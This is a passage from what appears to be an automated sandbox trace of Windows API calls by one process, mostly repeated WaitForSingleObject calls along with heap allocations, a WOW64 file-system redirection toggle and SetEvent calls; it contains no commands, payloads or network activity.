lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0166.499] Wow64DisableWow64FsRedirection (in: OldValue=0x355f9fc | out: OldValue=0x355f9fc*=0x0) returned 1 [0166.499] GetProcessHeap () returned 0x6a0000 [0166.499] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d0268 | out: hHeap=0x6a0000) returned 1 [0166.499] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.499] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.499] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.499] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.499] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.499] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.499] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.500] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.500] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.500] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.500] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.500] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.500] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.500] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.500] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.500] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.501] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.501] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.501] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.501] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.501] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.501] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.501] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.502] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.502] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.502] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.502] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.502] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.502] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.502] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.503] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.503] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.503] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.503] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.503] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.503] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.503] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.503] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.504] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.504] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.504] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.510] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.510] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.510] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.511] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.511] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.511] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.511] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.511] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.511] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.511] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.511] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.512] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.512] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.512] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.512] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.512] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.512] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.512] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.512] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.513] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.513] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.513] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.513] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.513] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.513] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.513] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.513] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.514] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.514] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.514] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.514] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.514] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.514] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.514] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.514] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.515] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.515] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.515] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.515] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.515] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.515] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.515] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.515] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.516] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.516] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.516] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.516] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.516] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.516] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.516] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.516] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.516] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.517] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.517] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.517] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.517] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.517] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.517] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.517] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.517] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.518] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.518] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.518] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.518] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.518] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.518] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.518] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.518] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.519] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.519] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.519] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.519] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.519] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.519] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.519] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.519] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.520] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.520] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.520] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.520] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.521] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.521] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.521] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.521] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.521] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.521] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.521] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.521] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.522] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.522] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.522] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.522] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.522] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.522] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.522] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.522] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.522] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.523] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.523] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.523] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.523] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.523] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.523] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.523] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.523] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.524] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.524] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.524] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.524] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.524] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.524] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.524] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.524] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.525] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.525] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.525] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.525] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.525] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.525] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.525] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.525] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.526] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.526] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.526] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.526] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.526] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.526] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.526] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.526] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.527] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.527] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.527] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.527] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.527] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.527] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.527] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.527] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.528] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.528] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.528] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.528] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.528] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.528] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.528] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.528] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.529] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.529] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.529] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.529] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.529] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.529] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.529] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.529] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.530] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.530] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.530] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.530] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.530] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.530] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.530] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.530] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.531] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.531] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.531] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.531] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.531] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.531] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.531] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.532] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.532] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.532] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.532] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.532] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.532] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.532] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.532] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.533] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.533] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.533] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.533] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.533] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.533] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.533] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.533] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.534] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.534] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.534] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.534] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.534] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.534] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.534] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.534] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.535] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.535] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.535] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.535] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.535] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.535] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.535] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.535] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.677] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.677] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.679] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.679] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.680] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.683] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.683] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.683] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0200.190] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0200.190] GetProcessHeap () returned 0x6a0000 [0200.190] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb698 | out: hHeap=0x6a0000) returned 1 [0200.190] SetEvent (hEvent=0x198) returned 1 [0200.190] SetEvent (hEvent=0x194) returned 1 [0200.190] SetEvent (hEvent=0x19c) returned 1 [0200.190] GetProcessHeap () returned 0x6a0000 [0200.190] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x38d0020 | out: hHeap=0x6a0000) returned 1 [0200.190] GetProcessHeap () returned 0x6a0000 [0200.190] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db480 | out: hHeap=0x6a0000) returned 1 [0200.190] GetProcessHeap () returned 0x6a0000 [0200.190] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0200.191] GetProcessHeap () returned 0x6a0000 [0200.191] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 Thread: id = 67 os_tid = 0x7c8 [0166.536] GetProcessHeap () returned 0x6a0000 [0166.536] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3756560 [0166.536] GetProcessHeap () returned 0x6a0000 [0166.536] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3766568 [0166.537] GetProcessHeap () returned 0x6a0000 [0166.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db510 [0166.537] GetProcessHeap () returned 0x6a0000 [0166.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x110102) returned 0x39f0020 [0166.537] GetProcessHeap () returned 0x6a0000 [0166.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x36d0268 [0166.537] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0166.538] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0166.538] Wow64DisableWow64FsRedirection (in: OldValue=0x36afb3c | out: OldValue=0x36afb3c*=0x0) returned 1 [0166.538] GetProcessHeap () returned 0x6a0000 [0166.538] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d0268 | out: hHeap=0x6a0000) returned 1 [0166.627] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.627] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.627] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.627] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.628] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.628] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.628] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.628] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.628] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.628] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.628] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.628] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.628] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.628] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.628] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.629] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.629] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.629] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.629] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.629] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.629] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.629] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.630] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.630] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.630] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.630] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.630] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.630] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.630] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.631] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.631] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.631] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.631] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.631] WaitForSingleObject 